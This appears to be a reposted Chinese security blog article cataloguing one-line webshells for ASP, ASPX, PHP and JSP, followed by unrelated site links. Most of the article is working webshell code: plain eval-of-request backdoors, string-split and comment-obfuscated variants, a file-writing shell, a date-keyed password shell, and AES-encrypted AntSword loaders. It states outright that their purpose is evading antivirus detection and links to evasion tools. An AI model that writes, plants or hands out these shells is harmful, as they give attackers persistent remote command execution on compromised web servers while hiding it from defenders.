一句话木马的各种变形

2019 年 7 月 13 日 黑白之道

本文作者:Jaky

文章转载自公众号:洛米唯熊

0x00:简介


    一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。一句话木马一直在跟杀软斗智斗勇,出现一种,杀软秒更新规则。木马再变形,再被杀。。。

   

0x01:叙事


一、常见的一句话

    例子:  


ASP:<%eval request("pass")%>ASPX:<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>PHP:<?php eval(@$_POST['a']); ?>JSP:<%Runtime.getRuntime().exec(request.getParameter("i"));%>//无回显示执行系统命令


二、简单变形


ASP:<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>//-7
ASPX:<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>//-7

PHP:<?php $_GET[a]($_GET[b]);?>


JSP:<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>


三、二次变形


ASP:<%if request ("MH")<>""then session("MH")=request("MH"):end if:if session("MH")<>"" then execute session("MH")%>

ASPX:<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>//随日期变化的连接密码

PHP:<?php ($_=@$_GET[2]).@$_($_POST[1])?>


JSP:<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>


四、三次变形


ASP:<%@Page Language="C#" %><%@Import namespace="System.Reflection"%><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>//蚁剑中的一句话

PHP:<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>//蚁剑中的一句话

JSP:<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>//蚁剑中的一句话


五、四次变形

   1、利用随机异或无限免杀d盾蚁剑版


项目地址:https://github.com/yzddmr6/as_webshell_venom


   2、利用动态二进制加密实现新型一句话木马:


文章地址:https://xz.aliyun.com/t/2799


六、第N次变形


0x02:后话


    一句话木马变形有很多种方式,文中举例只是其中几种方式。千奇百怪的变形,不断的变化,都是为了躲避杀软的检测。杀软也在不断的更新规则库。两者都是在博弈中不断的强大。


  请勿非法利用

你可能喜欢

远控木马Posion Ivy开始肆虐缅甸和其它亚洲国家

分析来自沙特阿拉伯的一款假冒杀毒软件的木马

转账3块扣1900?对支付宝木马的分析与追踪

登录查看更多
4

相关内容

专知会员服务
60+阅读 · 2020年3月19日
100+篇《自监督学习(Self-Supervised Learning)》论文最新合集
专知会员服务
164+阅读 · 2020年3月18日
【干货】用BRET进行多标签文本分类(附代码)
专知会员服务
84+阅读 · 2019年12月27日
【课程】浙大陈华钧教授《知识图谱导论》课程系列PPT
专知会员服务
170+阅读 · 2019年10月29日
强化学习最新教程,17页pdf
专知会员服务
174+阅读 · 2019年10月11日
MIT新书《强化学习与最优控制》
专知会员服务
275+阅读 · 2019年10月9日
一文带你读懂自然语言处理 - 事件提取
AI研习社
10+阅读 · 2019年5月10日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
目标检测之非极大值抑制(NMS)各种变体
极市平台
3+阅读 · 2019年5月2日
C# 10分钟完成百度人脸识别
DotNet
3+阅读 · 2019年2月17日
使用Keras和LSTM生成说唱歌词
论智
5+阅读 · 2018年5月22日
如何编写一个拼写纠错器?
Python开发者
4+阅读 · 2017年11月6日
【推荐】YOLO实时目标检测(6fps)
机器学习研究会
20+阅读 · 2017年11月5日
漫画:什么是Bitmap算法?
算法与数据结构
4+阅读 · 2017年8月6日
NLP自然语言处理(二)——基础文本分析
乐享数据DataScientists
12+阅读 · 2017年2月7日
Arxiv
21+阅读 · 2019年8月21日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
Arxiv
4+阅读 · 2018年10月5日
Bidirectional Attention for SQL Generation
Arxiv
4+阅读 · 2018年6月21日
Arxiv
5+阅读 · 2015年9月14日
VIP会员
相关资讯
一文带你读懂自然语言处理 - 事件提取
AI研习社
10+阅读 · 2019年5月10日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
目标检测之非极大值抑制(NMS)各种变体
极市平台
3+阅读 · 2019年5月2日
C# 10分钟完成百度人脸识别
DotNet
3+阅读 · 2019年2月17日
使用Keras和LSTM生成说唱歌词
论智
5+阅读 · 2018年5月22日
如何编写一个拼写纠错器?
Python开发者
4+阅读 · 2017年11月6日
【推荐】YOLO实时目标检测(6fps)
机器学习研究会
20+阅读 · 2017年11月5日
漫画:什么是Bitmap算法?
算法与数据结构
4+阅读 · 2017年8月6日
NLP自然语言处理(二)——基础文本分析
乐享数据DataScientists
12+阅读 · 2017年2月7日
相关论文
Arxiv
21+阅读 · 2019年8月21日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
Arxiv
4+阅读 · 2018年10月5日
Bidirectional Attention for SQL Generation
Arxiv
4+阅读 · 2018年6月21日
Arxiv
5+阅读 · 2015年9月14日
Top
微信扫码咨询专知VIP会员